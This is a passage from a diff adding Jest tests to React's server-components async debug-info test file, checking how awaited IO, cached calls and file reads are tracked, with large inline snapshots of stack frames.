+                  1494,
+                  13,
+                  1493,
+                  25,
+                ],
+                [
+                  "Component",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  1504,
+                  13,
+                  1503,
+                  5,
+                ],
+              ],
+              "start": 0,
+              "value": {
+                "value": undefined,
+              },
+            },
+            "env": "Server",
+            "owner": {
+              "env": "Server",
+              "key": null,
+              "name": "Component",
+              "props": {},
+              "stack": [
+                [
+                  "Object.<anonymous>",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  1509,
+                  40,
+                  1492,
+                  62,
+                ],
+                [
+                  "new Promise",
+                  "",
+                  0,
+                  0,
+                  0,
+                  0,
+                ],
+              ],
+            },
+            "stack": [
+              [
+                "getData",
+                "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                1494,
+                13,
+                1493,
+                25,
+              ],
+              [
+                "Component",
+                "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                1504,
+                13,
+                1503,
+                5,
+              ],
+            ],
+          },
+          {
+            "time": 0,
+          },
+          {
+            "time": 0,
+          },
+          {
+            "env": "Server",
+            "key": null,
+            "name": "Child",
+            "props": {},
+            "stack": [
+              [
+                "Component",
+                "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                1505,
+                60,
+                1503,
+                5,
+              ],
+            ],
+          },
+          {
+            "time": 0,
+          },
+          {
+            "awaited": {
+              "end": 0,
+              "env": "Server",
+              "name": "delay",
+              "owner": {
+                "env": "Server",
+                "key": null,
+                "name": "Component",
+                "props": {},
+                "stack": [
+                  [
+                    "Object.<anonymous>",
+                    "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                    1509,
+                    40,
+                    1492,
+                    62,
+                  ],
+                  [
+                    "new Promise",
+                    "",
+                    0,
+                    0,
+                    0,
+                    0,
+                  ],
+                ],
+              },
+              "stack": [
+                [
+                  "delay",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  87,
+                  12,
+                  86,
+                  3,
+                ],
+                [
+                  "getData",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  1494,
+                  13,
+                  1493,
+                  25,
+                ],
+                [
+                  "Component",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  1504,
+                  13,
+                  1503,
+                  5,
+                ],
+              ],
+              "start": 0,
+              "value": {
+                "value": undefined,
+              },
+            },
+            "env": "Server",
+            "owner": {
+              "env": "Server",
+              "key": null,
+              "name": "Child",
+              "props": {},
+              "stack": [
+                [
+                  "Component",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  1505,
+                  60,
+                  1503,
+                  5,
+                ],
+              ],
+            },
+            "stack": [
+              [
+                "Child",
+                "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                1499,
+                28,
+                1498,
+                5,
+              ],
+            ],
+          },
+          {
+            "time": 0,
+          },
+          {
+            "time": 0,
+          },
+          {
+            "awaited": {
+              "byteSize": 0,
+              "end": 0,
+              "name": "rsc stream",
+              "owner": null,
+              "start": 0,
+              "value": {
+                "value": "stream",
+              },
+            },
+          },
+        ]
+      `);
+    }
+  });
+
+  it('can track cached entries used in child position', async () => {
+    const getData = cache(async function getData(text) {
+      await delay(1);
+      return text.toUpperCase();
+    });
+
+    function Child() {
+      return getData('hi');
+    }
+
+    function Component() {
+      ReactServer.use(getData('hi'));
+      return <Child />;
+    }
+
+    const stream = ReactServerDOMServer.renderToPipeableStream(
+      <Component />,
+      {},
+      {
+        filterStackFrame,
+      },
+    );
+
+    const readable = new Stream.PassThrough(streamOptions);
+
+    const result = ReactServerDOMClient.createFromNodeStream(readable, {
+      moduleMap: {},
+      moduleLoading: {},
+    });
+    stream.pipe(readable);
+
+    expect(await result).toBe('HI');
+
+    await finishLoadingStream(readable);
+    if (
+      __DEV__ &&
+      gate(
+        flags =>
+          flags.enableComponentPerformanceTrack && flags.enableAsyncDebugInfo,
+      )
+    ) {
+      expect(getDebugInfo(result)).toMatchInlineSnapshot(`
+        [
+          {
+            "time": 0,
+          },
+          {
+            "env": "Server",
+            "key": null,
+            "name": "Component",
+            "props": {},
+            "stack": [
+              [
+                "Object.<anonymous>",
+                "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                1822,
+                40,
+                1806,
+                57,
+              ],
+              [
+                "new Promise",
+                "",
+                0,
+                0,
+                0,
+                0,
+              ],
+            ],
+          },
+          {
+            "time": 0,
+          },
+          {
+            "awaited": {
+              "end": 0,
+              "env": "Server",
+              "name": "delay",
+              "owner": {
+                "env": "Server",
+                "key": null,
+                "name": "Component",
+                "props": {},
+                "stack": [
+                  [
+                    "Object.<anonymous>",
+                    "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                    1822,
+                    40,
+                    1806,
+                    57,
+                  ],
+                  [
+                    "new Promise",
+                    "",
+                    0,
+                    0,
+                    0,
+                    0,
+                  ],
+                ],
+              },
+              "stack": [
+                [
+                  "delay",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  87,
+                  12,
+                  86,
+                  3,
+                ],
+                [
+                  "getData",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  1808,
+                  13,
+                  1807,
+                  25,
+                ],
+                [
+                  "Component",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  1817,
+                  23,
+                  1816,
+                  5,
+                ],
+              ],
+              "start": 0,
+              "value": {
+                "value": undefined,
+              },
+            },
+            "env": "Server",
+            "owner": {
+              "env": "Server",
+              "key": null,
+              "name": "Component",
+              "props": {},
+              "stack": [
+                [
+                  "Object.<anonymous>",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  1822,
+                  40,
+                  1806,
+                  57,
+                ],
+                [
+                  "new Promise",
+                  "",
+                  0,
+                  0,
+                  0,
+                  0,
+                ],
+              ],
+            },
+            "stack": [
+              [
+                "getData",
+                "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                1808,
+                13,
+                1807,
+                25,
+              ],
+              [
+                "Component",
+                "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                1817,
+                23,
+                1816,
+                5,
+              ],
+            ],
+          },
+          {
+            "time": 0,
+          },
+          {
+            "time": 0,
+          },
+          {
+            "env": "Server",
+            "key": null,
+            "name": "Child",
+            "props": {},
+            "stack": [
+              [
+                "Component",
+                "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                1818,
+                60,
+                1816,
+                5,
+              ],
+            ],
+          },
+          {
+            "awaited": {
+              "end": 0,
+              "env": "Server",
+              "name": "delay",
+              "owner": {
+                "env": "Server",
+                "key": null,
+                "name": "Component",
+                "props": {},
+                "stack": [
+                  [
+                    "Object.<anonymous>",
+                    "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                    1822,
+                    40,
+                    1806,
+                    57,
+                  ],
+                  [
+                    "new Promise",
+                    "",
+                    0,
+                    0,
+                    0,
+                    0,
+                  ],
+                ],
+              },
+              "stack": [
+                [
+                  "delay",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  87,
+                  12,
+                  86,
+                  3,
+                ],
+                [
+                  "getData",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  1808,
+                  13,
+                  1807,
+                  25,
+                ],
+                [
+                  "Component",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  1817,
+                  23,
+                  1816,
+                  5,
+                ],
+              ],
+              "start": 0,
+              "value": {
+                "value": undefined,
+              },
+            },
+            "env": "Server",
+            "stack": [
+              [
+                "Component",
+                "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                1818,
+                60,
+                1816,
+                5,
+              ],
+            ],
+          },
+          {
+            "time": 0,
+          },
+          {
+            "time": 0,
+          },
+          {
+            "awaited": {
+              "byteSize": 0,
+              "end": 0,
+              "name": "rsc stream",
+              "owner": null,
+              "start": 0,
+              "value": {
+                "value": "stream",
+              },
+            },
+          },
+        ]
+      `);
+    }
+  });
+
+  it('can track implicit returned promises that are blocked by previous data', async () => {
+    async function delayTwice() {
+      await delay('', 20);
+      await delay('', 10);
+    }
+
+    async function delayTrice() {
+      const p = delayTwice();
+      await delay('', 40);
+      return p;
+    }
+
+    async function Bar({children}) {
+      await delayTrice();
+      return 'hi';
+    }
+
+    const stream = ReactServerDOMServer.renderToPipeableStream(
+      <Bar />,
+      {},
+      {
+        filterStackFrame,
+      },
+    );
+
+    const readable = new Stream.PassThrough(streamOptions);
+
+    const result = ReactServerDOMClient.createFromNodeStream(readable, {
+      moduleMap: {},
+      moduleLoading: {},
+    });
+    stream.pipe(readable);
+
+    expect(await result).toBe('hi');
+
+    await finishLoadingStream(readable);
+    if (
+      __DEV__ &&
+      gate(
+        flags =>
+          flags.enableComponentPerformanceTrack && flags.enableAsyncDebugInfo,
+      )
+    ) {
+      expect(getDebugInfo(result)).toMatchInlineSnapshot(`
+        [
+          {
+            "time": 0,
+          },
+          {
+            "env": "Server",
+            "key": null,
+            "name": "Bar",
+            "props": {},
+            "stack": [
+              [
+                "Object.<anonymous>",
+                "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                2118,
+                40,
+                2100,
+                80,
+              ],
+              [
+                "new Promise",
+                "",
+                0,
+                0,
+                0,
+                0,
+              ],
+            ],
+          },
+          {
+            "time": 0,
+          },
+          {
+            "awaited": {
+              "end": 0,
+              "env": "Server",
+              "name": "delay",
+              "owner": {
+                "env": "Server",
+                "key": null,
+                "name": "Bar",
+                "props": {},
+                "stack": [
+                  [
+                    "Object.<anonymous>",
+                    "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                    2118,
+                    40,
+                    2100,
+                    80,
+                  ],
+                  [
+                    "new Promise",
+                    "",
+                    0,
+                    0,
+                    0,
+                    0,
+                  ],
+                ],
+              },
+              "stack": [
+                [
+                  "delay",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  87,
+                  12,
+                  86,
+                  3,
+                ],
+                [
+                  "delayTrice",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  2108,
+                  13,
+                  2106,
+                  5,
+                ],
+                [
+                  "Bar",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  2113,
+                  13,
+                  2112,
+                  5,
+                ],
+              ],
+              "start": 0,
+              "value": {
+                "value": undefined,
+              },
+            },
+            "env": "Server",
+            "owner": {
+              "env": "Server",
+              "key": null,
+              "name": "Bar",
+              "props": {},
+              "stack": [
+                [
+                  "Object.<anonymous>",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  2118,
+                  40,
+                  2100,
+                  80,
+                ],
+                [
+                  "new Promise",
+                  "",
+                  0,
+                  0,
+                  0,
+                  0,
+                ],
+              ],
+            },
+            "stack": [
+              [
+                "delayTrice",
+                "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                2108,
+                13,
+                2106,
+                5,
+              ],
+              [
+                "Bar",
+                "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                2113,
+                13,
+                2112,
+                5,
+              ],
+            ],
+          },
+          {
+            "time": 0,
+          },
+          {
+            "awaited": {
+              "end": 0,
+              "env": "Server",
+              "name": "delay",
+              "owner": {
+                "env": "Server",
+                "key": null,
+                "name": "Bar",
+                "props": {},
+                "stack": [
+                  [
+                    "Object.<anonymous>",
+                    "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                    2118,
+                    40,
+                    2100,
+                    80,
+                  ],
+                  [
+                    "new Promise",
+                    "",
+                    0,
+                    0,
+                    0,
+                    0,
+                  ],
+                ],
+              },
+              "stack": [
+                [
+                  "delay",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  87,
+                  12,
+                  86,
+                  3,
+                ],
+                [
+                  "delayTwice",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  2102,
+                  13,
+                  2101,
+                  5,
+                ],
+                [
+                  "delayTrice",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  2107,
+                  15,
+                  2106,
+                  5,
+                ],
+                [
+                  "Bar",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  2113,
+                  13,
+                  2112,
+                  5,
+                ],
+              ],
+              "start": 0,
+              "value": {
+                "value": undefined,
+              },
+            },
+            "env": "Server",
+            "owner": {
+              "env": "Server",
+              "key": null,
+              "name": "Bar",
+              "props": {},
+              "stack": [
+                [
+                  "Object.<anonymous>",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  2118,
+                  40,
+                  2100,
+                  80,
+                ],
+                [
+                  "new Promise",
+                  "",
+                  0,
+                  0,
+                  0,
+                  0,
+                ],
+              ],
+            },
+            "stack": [
+              [
+                "delayTwice",
+                "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                2102,
+                13,
+                2101,
+                5,
+              ],
+              [
+                "delayTrice",
+                "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                2107,
+                15,
+                2106,
+                5,
+              ],
+              [
+                "Bar",
+                "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                2113,
+                13,
+                2112,
+                5,
+              ],
+            ],
+          },
+          {
+            "time": 0,
+          },
+          {
+            "awaited": {
+              "end": 0,
+              "env": "Server",
+              "name": "delay",
+              "owner": {
+                "env": "Server",
+                "key": null,
+                "name": "Bar",
+                "props": {},
+                "stack": [
+                  [
+                    "Object.<anonymous>",
+                    "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                    2118,
+                    40,
+                    2100,
+                    80,
+                  ],
+                  [
+                    "new Promise",
+                    "",
+                    0,
+                    0,
+                    0,
+                    0,
+                  ],
+                ],
+              },
+              "stack": [
+                [
+                  "delay",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  87,
+                  12,
+                  86,
+                  3,
+                ],
+                [
+                  "delayTwice",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  2103,
+                  13,
+                  2101,
+                  5,
+                ],
+              ],
+              "start": 0,
+              "value": {
+                "value": undefined,
+              },
+            },
+            "env": "Server",
+            "owner": {
+              "env": "Server",
+              "key": null,
+              "name": "Bar",
+              "props": {},
+              "stack": [
+                [
+                  "Object.<anonymous>",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  2118,
+                  40,
+                  2100,
+                  80,
+                ],
+                [
+                  "new Promise",
+                  "",
+                  0,
+                  0,
+                  0,
+                  0,
+                ],
+              ],
+            },
+            "stack": [
+              [
+                "delayTwice",
+                "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                2103,
+                13,
+                2101,
+                5,
+              ],
+            ],
+          },
+          {
+            "time": 0,
+          },
+          {
+            "time": 0,
+          },
+          {
+            "awaited": {
+              "byteSize": 0,
+              "end": 0,
+              "name": "rsc stream",
+              "owner": null,
+              "start": 0,
+              "value": {
+                "value": "stream",
+              },
+            },
+          },
+        ]
+      `);
+    }
+  });
+
+  it('can track IO that is chained via then(async ...)', async () => {
+    function getData(text) {
+      return delay(1).then(async () => {
+        return text.toUpperCase();
+      });
+    }
+
+    async function Component({text, promise}) {
+      return await getData('hi, sebbie');
+    }
+
+    const stream = ReactServerDOMServer.renderToPipeableStream(<Component />);
+
+    const readable = new Stream.PassThrough(streamOptions);
+
+    const result = ReactServerDOMClient.createFromNodeStream(readable, {
+      moduleMap: {},
+      moduleLoading: {},
+    });
+    stream.pipe(readable);
+
+    expect(await result).toBe('HI, SEBBIE');
+
+    await finishLoadingStream(readable);
+    if (
+      __DEV__ &&
+      gate(
+        flags =>
+          flags.enableComponentPerformanceTrack && flags.enableAsyncDebugInfo,
+      )
+    ) {
+      expect(getDebugInfo(result)).toMatchInlineSnapshot(`
+        [
+          {
+            "time": 0,
+          },
+          {
+            "env": "Server",
+            "key": null,
+            "name": "Component",
+            "props": {},
+            "stack": [
+              [
+                "Object.<anonymous>",
+                "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                2527,
+                109,
+                2516,
+                58,
+              ],
+            ],
+          },
+          {
+            "time": 0,
+          },
+          {
+            "awaited": {
+              "end": 0,
+              "env": "Server",
+              "name": "delay",
+              "owner": {
+                "env": "Server",
+                "key": null,
+                "name": "Component",
+                "props": {},
+                "stack": [
+                  [
+                    "Object.<anonymous>",
+                    "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                    2527,
+                    109,
+                    2516,
+                    58,
+                  ],
+                ],
+              },
+              "stack": [
+                [
+                  "delay",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  87,
+                  12,
+                  86,
+                  3,
+                ],
+                [
+                  "getData",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  2518,
+                  14,
+                  2517,
+                  5,
+                ],
+                [
+                  "Component",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  2524,
+                  20,
+                  2523,
+                  5,
+                ],
+              ],
+              "start": 0,
+              "value": {
+                "value": undefined,
+              },
+            },
+            "env": "Server",
+            "owner": {
+              "env": "Server",
+              "key": null,
+              "name": "Component",
+              "props": {},
+              "stack": [
+                [
+                  "Object.<anonymous>",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  2527,
+                  109,
+                  2516,
+                  58,
+                ],
+              ],
+            },
+            "stack": [
+              [
+                "getData",
+                "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                2518,
+                23,
+                2517,
+                5,
+              ],
+              [
+                "Component",
+                "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                2524,
+                20,
+                2523,
+                5,
+              ],
+            ],
+          },
+          {
+            "time": 0,
+          },
+          {
+            "time": 0,
+          },
+          {
+            "awaited": {
+              "byteSize": 0,
+              "end": 0,
+              "name": "rsc stream",
+              "owner": null,
+              "start": 0,
+              "value": {
+                "value": "stream",
+              },
+            },
+          },
+        ]
+      `);
+    }
+  });
+
+  it('can track IO that is not awaited in user space', async () => {
+    function internal_API(text) {
+      return delay(1).then(async () => {
+        return text.toUpperCase();
+      });
+    }
+
+    async function Component({text, promise}) {
+      return await internal_API('hi, seb');
+    }
+
+    const stream = ReactServerDOMServer.renderToPipeableStream(
+      <Component />,
+      {},
+      {
+        filterStackFrame,
+      },
+    );
+
+    const readable = new Stream.PassThrough(streamOptions);
+
+    const result = ReactServerDOMClient.createFromNodeStream(readable, {
+      moduleMap: {},
+      moduleLoading: {},
+    });
+    stream.pipe(readable);
+
+    expect(await result).toBe('HI, SEB');
+
+    await finishLoadingStream(readable);
+    if (
+      __DEV__ &&
+      gate(
+        flags =>
+          flags.enableComponentPerformanceTrack && flags.enableAsyncDebugInfo,
+      )
+    ) {
+      expect(getDebugInfo(result)).toMatchInlineSnapshot(`
+        [
+          {
+            "time": 0,
+          },
+          {
+            "env": "Server",
+            "key": null,
+            "name": "Component",
+            "props": {},
+            "stack": [
+              [
+                "Object.<anonymous>",
+                "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                2694,
+                40,
+                2682,
+                56,
+              ],
+              [
+                "new Promise",
+                "",
+                0,
+                0,
+                0,
+                0,
+              ],
+            ],
+          },
+          {
+            "time": 0,
+          },
+          {
+            "awaited": {
+              "end": 0,
+              "env": "Server",
+              "name": "delay",
+              "owner": {
+                "env": "Server",
+                "key": null,
+                "name": "Component",
+                "props": {},
+                "stack": [
+                  [
+                    "Object.<anonymous>",
+                    "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                    2694,
+                    40,
+                    2682,
+                    56,
+                  ],
+                  [
+                    "new Promise",
+                    "",
+                    0,
+                    0,
+                    0,
+                    0,
+                  ],
+                ],
+              },
+              "stack": [
+                [
+                  "delay",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  87,
+                  12,
+                  86,
+                  3,
+                ],
+                [
+                  "Component",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  2690,
+                  20,
+                  2689,
+                  5,
+                ],
+              ],
+              "start": 0,
+              "value": {
+                "value": "HI, SEB",
+              },
+            },
+            "env": "Server",
+            "owner": {
+              "env": "Server",
+              "key": null,
+              "name": "Component",
+              "props": {},
+              "stack": [
+                [
+                  "Object.<anonymous>",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  2694,
+                  40,
+                  2682,
+                  56,
+                ],
+                [
+                  "new Promise",
+                  "",
+                  0,
+                  0,
+                  0,
+                  0,
+                ],
+              ],
+            },
+            "stack": [
+              [
+                "Component",
+                "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                2690,
+                20,
+                2689,
+                5,
+              ],
+            ],
+          },
+          {
+            "time": 0,
+          },
+          {
+            "time": 0,
+          },
+          {
+            "awaited": {
+              "byteSize": 0,
+              "end": 0,
+              "name": "rsc stream",
+              "owner": null,
+              "start": 0,
+              "value": {
+                "value": "stream",
+              },
+            },
+          },
+        ]
+      `);
+    }
+  });
+
+  it('can track IO in third-party code', async () => {
+    async function thirdParty(endpoint) {
+      return new Promise(resolve => {
+        setTimeout(() => {
+          resolve('third-party ' + endpoint);
+        }, 10);
+      }).then(async value => {
+        await new Promise(resolve => {
+          setTimeout(resolve, 10);
+        });
+
+        return value;
+      });
+    }
+
+    async function Component() {
+      const value = await thirdParty('hi');
+      return value;
+    }
+
+    const stream = ReactServerDOMServer.renderToPipeableStream(
+      <Component />,
+      {},
+      {
+        filterStackFrame(filename, functionName) {
+          if (functionName === 'thirdParty') {
+            return false;
+          }
+          return filterStackFrame(filename, functionName);
+        },
+      },
+    );
+
+    const readable = new Stream.PassThrough(streamOptions);
+
+    const result = ReactServerDOMClient.createFromNodeStream(readable, {
+      moduleMap: {},
+      moduleLoading: {},
+    });
+    stream.pipe(readable);
+
+    expect(await result).toBe('third-party hi');
+
+    await finishLoadingStream(readable);
+    if (
+      __DEV__ &&
+      gate(
+        flags =>
+          flags.enableComponentPerformanceTrack && flags.enableAsyncDebugInfo,
+      )
+    ) {
+      expect(getDebugInfo(result)).toMatchInlineSnapshot(`
+        [
+          {
+            "time": 0,
+          },
+          {
+            "env": "Server",
+            "key": null,
+            "name": "Component",
+            "props": {},
+            "stack": [
+              [
+                "Object.<anonymous>",
+                "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                2883,
+                40,
+                2862,
+                42,
+              ],
+              [
+                "new Promise",
+                "",
+                0,
+                0,
+                0,
+                0,
+              ],
+            ],
+          },
+          {
+            "time": 0,
+          },
+          {
+            "awaited": {
+              "end": 0,
+              "env": "Server",
+              "name": "",
+              "owner": {
+                "env": "Server",
+                "key": null,
+                "name": "Component",
+                "props": {},
+                "stack": [
+                  [
+                    "Object.<anonymous>",
+                    "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                    2883,
+                    40,
+                    2862,
+                    42,
+                  ],
+                  [
+                    "new Promise",
+                    "",
+                    0,
+                    0,
+                    0,
+                    0,
+                  ],
+                ],
+              },
+              "stack": [
+                [
+                  "",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  2869,
+                  15,
+                  2868,
+                  15,
+                ],
+                [
+                  "Component",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  2878,
+                  19,
+                  2877,
+                  5,
+                ],
+              ],
+              "start": 0,
+              "value": {
+                "value": undefined,
+              },
+            },
+            "env": "Server",
+            "owner": {
+              "env": "Server",
+              "key": null,
+              "name": "Component",
+              "props": {},
+              "stack": [
+                [
+                  "Object.<anonymous>",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  2883,
+                  40,
+                  2862,
+                  42,
+                ],
+                [
+                  "new Promise",
+                  "",
+                  0,
+                  0,
+                  0,
+                  0,
+                ],
+              ],
+            },
+            "stack": [
+              [
+                "",
+                "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                2869,
+                15,
+                2868,
+                15,
+              ],
+              [
+                "Component",
+                "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                2878,
+                19,
+                2877,
+                5,
+              ],
+            ],
+          },
+          {
+            "time": 0,
+          },
+          {
+            "awaited": {
+              "end": 0,
+              "env": "Server",
+              "name": "thirdParty",
+              "owner": {
+                "env": "Server",
+                "key": null,
+                "name": "Component",
+                "props": {},
+                "stack": [
+                  [
+                    "Object.<anonymous>",
+                    "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                    2883,
+                    40,
+                    2862,
+                    42,
+                  ],
+                  [
+                    "new Promise",
+                    "",
+                    0,
+                    0,
+                    0,
+                    0,
+                  ],
+                ],
+              },
+              "stack": [
+                [
+                  "Component",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  2878,
+                  25,
+                  2877,
+                  5,
+                ],
+              ],
+              "start": 0,
+              "value": {
+                "value": "third-party hi",
+              },
+            },
+            "env": "Server",
+            "owner": {
+              "env": "Server",
+              "key": null,
+              "name": "Component",
+              "props": {},
+              "stack": [
+                [
+                  "Object.<anonymous>",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  2883,
+                  40,
+                  2862,
+                  42,
+                ],
+                [
+                  "new Promise",
+                  "",
+                  0,
+                  0,
+                  0,
+                  0,
+                ],
+              ],
+            },
+            "stack": [
+              [
+                "Component",
+                "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                2878,
+                25,
+                2877,
+                5,
+              ],
+            ],
+          },
+          {
+            "time": 0,
+          },
+          {
+            "time": 0,
+          },
+          {
+            "awaited": {
+              "byteSize": 0,
+              "end": 0,
+              "name": "rsc stream",
+              "owner": null,
+              "start": 0,
+              "value": {
+                "value": "stream",
+              },
+            },
+          },
+        ]
+      `);
+    }
+  });
+
+  it('can track async file reads', async () => {
+    const filename = path.join(__dirname, 'test-file.txt');
+    async function Component() {
+      const buffer = await fs
+        .readFile(filename) // This loads a Buffer.
+        // TODO: For some reason, without this we're extracting the wrong promise.
+        .then(v => v);
+      const text = buffer.toString('utf8');
+      return text.slice(0, 26);
+    }
+
+    const stream = ReactServerDOMServer.renderToPipeableStream(
+      ReactServer.createElement(Component),
+      {},
+    );
+
+    const readable = new Stream.PassThrough(streamOptions);
+
+    const result = ReactServerDOMClient.createFromNodeStream(readable, {
+      moduleMap: {},
+      moduleLoading: {},
+    });
+    stream.pipe(readable);
+
+    expect(await result).toBe('Lorem ipsum dolor sit amet');
+
+    await finishLoadingStream(readable);
+    if (
+      __DEV__ &&
+      gate(
+        flags =>
+          flags.enableComponentPerformanceTrack && flags.enableAsyncDebugInfo,
+      )
+    ) {
+      expect(getDebugInfo(result)).toMatchInlineSnapshot(`
+        [
+          {
+            "time": 0,
+          },
+          {
+            "env": "Server",
+            "key": null,
+            "name": "Component",
+            "props": {},
+            "stack": [
+              [
+                "Object.<anonymous>",
+                "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                3159,
+                19,
+                3147,
+                36,
+              ],
+            ],
+          },
+          {
+            "time": 0,
+          },
+          {
+            "awaited": {
+              "end": 0,
+              "env": "Server",
+              "name": "Object.readFile",
+              "owner": {
+                "env": "Server",
+                "key": null,
+                "name": "Component",
+                "props": {},
+                "stack": [
+                  [
+                    "Object.<anonymous>",
+                    "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                    3159,
+                    19,
+                    3147,
+                    36,
+                  ],
+                ],
+              },
+              "stack": [
+                [
+                  "Component",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  3151,
+                  7,
+                  3149,
+                  5,
+                ],
+              ],
+              "start": 0,
+              "value": {
+                "status": "halted",
+              },
+            },
+            "env": "Server",
+            "owner": {
+              "env": "Server",
+              "key": null,
+              "name": "Component",
+              "props": {},
+              "stack": [
+                [
+                  "Object.<anonymous>",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  3159,
+                  19,
+                  3147,
+                  36,
+                ],
+              ],
+            },
+            "stack": [
+              [
+                "Component",
+                "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                3153,
+                7,
+                3149,
+                5,
+              ],
+            ],
+          },
+          {
+            "time": 0,
+          },
+          {
+            "time": 0,
+          },
+          {
+            "awaited": {
+              "byteSize": 0,
+              "end": 0,
+              "name": "rsc stream",
+              "owner": null,
+              "start": 0,
+              "value": {
+                "value": "stream",
+              },
+            },
+          },
+        ]
+      `);
+    }
+  });
+
+  it('can track a promise created fully outside first party code', async function internal_test() {
+    async function internal_API(text, timeout) {
+      let resolve;
+      const promise = new Promise(r => {
+        resolve = r;
+      });
+      promise.displayName = 'greeting';
+      setTimeout(() => resolve(text), timeout);
+      return promise;
+    }
+
+    async function Component({promise}) {
